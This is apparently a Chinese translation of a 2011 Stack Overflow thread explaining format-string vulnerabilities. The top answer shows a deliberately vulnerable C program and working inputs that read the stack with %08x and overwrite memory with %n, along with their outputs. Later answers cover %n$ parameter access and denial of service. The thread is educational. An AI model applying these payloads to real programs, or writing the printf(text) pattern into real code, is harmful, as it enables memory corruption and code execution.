67

我正在阅读代码中的漏洞并遇到了这个Format-String Vulnerability

维基百科说:

当程序员希望打印包含用户提供的数据的字符串时,最常出现格式字符串错误。程序员可能会错误地写 printf(buffer) 而不是 printf("%s", buffer)。第一个版本将缓冲区解释为格式字符串,并解析它可能包含的任何格式指令。第二个版本只是按照程序员的意图在屏幕上打印一个字符串。

我遇到了 printf(buffer) 版本的问题,但我仍然不明白攻击者如何利用这个漏洞来执行有害代码。有人可以告诉我如何通过示例利用此漏洞吗?

4

5 回答 5

98

您可以通过多种方式直接或间接利用格式字符串漏洞。让我们以以下为例(假设没有相关的操作系统保护,这无论如何都非常罕见):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

此漏洞的基础是具有可变参数的函数的行为。实现处理可变数量参数的函数本质上必须从堆栈中读取它们。如果我们指定一个格式字符串,它将printf()在堆栈上预期两个整数,并且我们只提供一个参数,那么第二个参数必须是堆栈上的其他值。通过扩展,如果我们可以控制格式字符串,我们可以拥有两个最基本的原语:


从任意内存地址读取

[编辑]重要提示:我在这里对堆栈框架布局做了一些假设。如果您了解漏洞背后的基本前提,您可以忽略它们,并且它们在操作系统、平台、程序和配置方面有所不同。

可以使用%s格式参数来读取数据。您可以在 中读取原始格式字符串的数据printf(text),因此您可以使用它从堆栈中读取任何内容:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

写入任意内存地址

您可以使用%n格式说明符(几乎)写入任意地址。同样,让我们​​假设我们上面的易受攻击的程序,让我们尝试更改some_value位于的 的值0x08049794,如上所示:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

我们已经覆盖了在遇到说明符some_value之前写入的字节数( )。我们可以使用格式字符串本身,或者字段宽度来控制这个值:%nman printf

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

有许多可能性和技巧可供尝试(直接参数访问、大字段宽度使环绕成为可能、构建您自己的基元),而这只是冰山一角。我建议阅读更多关于 fmt 字符串漏洞的文章(Phrack 有一些非常优秀的文章,尽管它们可能有点高级)或涉及该主题的书。


免责声明:示例摘自Jon Erickson的《黑客:剥削的艺术》(第 2 版)一书 [尽管不是逐字记录]。

于 2011-09-18T05:54:25.783 回答
19

有趣的是,没有人提到n$POSIX 支持的表示法。如果您可以像攻击者一样控制格式字符串,则可以使用以下符号:

"%200$p"

读取堆栈上的第 200项目(如果有的话)。目的是您应该列出n$从 1 到最大值的所有数字,它提供了一种重新排序参数在格式字符串中的显示方式,这在处理 I18N (L10N, G11N, M18N * ) 时很方便。

但是,一些(可能是大多数)系统在验证值的方式上有些懒散n$,这可能导致可以控制格式字符串的攻击者滥用。结合%n格式说明符,这可能导致在指针位置写入。


*首字母缩写词 I18N、L10N、G11N 和 M18N 分别代表国际化、本地化、全球化和跨国化。数字代表省略的字母数。

于 2011-09-19T05:12:26.730 回答
9

啊,答案在文章中!

不受控制的格式字符串是一种软件漏洞,发现于 1999 年左右,可用于安全漏洞。以前认为是无害的,格式字符串漏洞可用于使程序崩溃执行有害代码

典型的漏洞利用结合使用这些技术来强制程序用指向某些恶意 shellcode 的指针覆盖库函数的地址或堆栈上的返回地址。格式说明符的填充参数用于控制输出的字节数,%x令牌用于从堆栈中弹出字节,直到到达格式字符串本身的开头。格式字符串的开头被设计为包含格式令牌然后可以用要执行的恶意代码的地址覆盖的地址%n

这是因为%n 导致printf将数据写入堆栈上的变量。但这意味着它可以任意写入内容。您所需要的只是让某人使用该变量(如果它恰好是一个函数指针,它的值您刚刚想出如何控制它就相对容易)并且它们可以让您任意执行任何事情。

看看文章中的链接;他们看起来很有趣

于 2011-09-18T05:41:22.607 回答
2

我建议阅读有关格式字符串漏洞讲义。它详细描述了发生的事情和方式,并提供了一些可以帮助您理解该主题的图像。

于 2013-03-31T09:14:23.760 回答
0

AFAIK 这主要是因为它可以使您的程序崩溃,这被认为是拒绝服务攻击。您所需要的只是提供一个无效的地址(几乎任何带有几个%s' 的地址都可以保证工作),它就变成了一个简单的拒绝服务 (DoS) 攻击。

现在,理论上有可能在异常/信号/中断处理程序的情况下触发任何事情,但是弄清楚如何做到这一点超出了我的范围——您还需要弄清楚如何将任意数据写入内存。

但是你可能会问,为什么会有人关心程序是否崩溃?这不只是给用户带来不便(谁应该得到它)?

问题是某些程序由多个用户访问,因此使它们崩溃的成本不可忽略。或者有时它们对系统的运行至关重要(或者它们可能正在做一些非常关键的事情),在这种情况下,这可能会损坏您的数据。当然,如果你让记事本崩溃,那么没人会在意,但如果你让 CSRSS 崩溃(我相信它实际上有类似的错误——特别是双释放错误),那么是的,整个系统都和你一起崩溃.


更新:

有关我所指的 CSRSS 错误,请参阅此链接。


编辑:

请注意,读取任意数据可能与执行任意代码一样危险!如果您读取密码、cookie 等,那么它与任意代码执行一样严重——如果您有足够的时间尝试足够的格式字符串,这将是微不足道的。

于 2011-09-18T05:28:09.290 回答